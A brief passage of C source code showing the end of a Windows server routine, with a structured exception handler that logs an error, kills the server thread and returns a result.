	}
	__except (exceptionfilter(GetExceptionCode(), GetExceptionInformation()))
	{
		dprintf("[SERVER] *** exception triggered!");

		thread_kill(serverThread);
	}

	dprintf("[SERVER] Finished.");
	return res;
}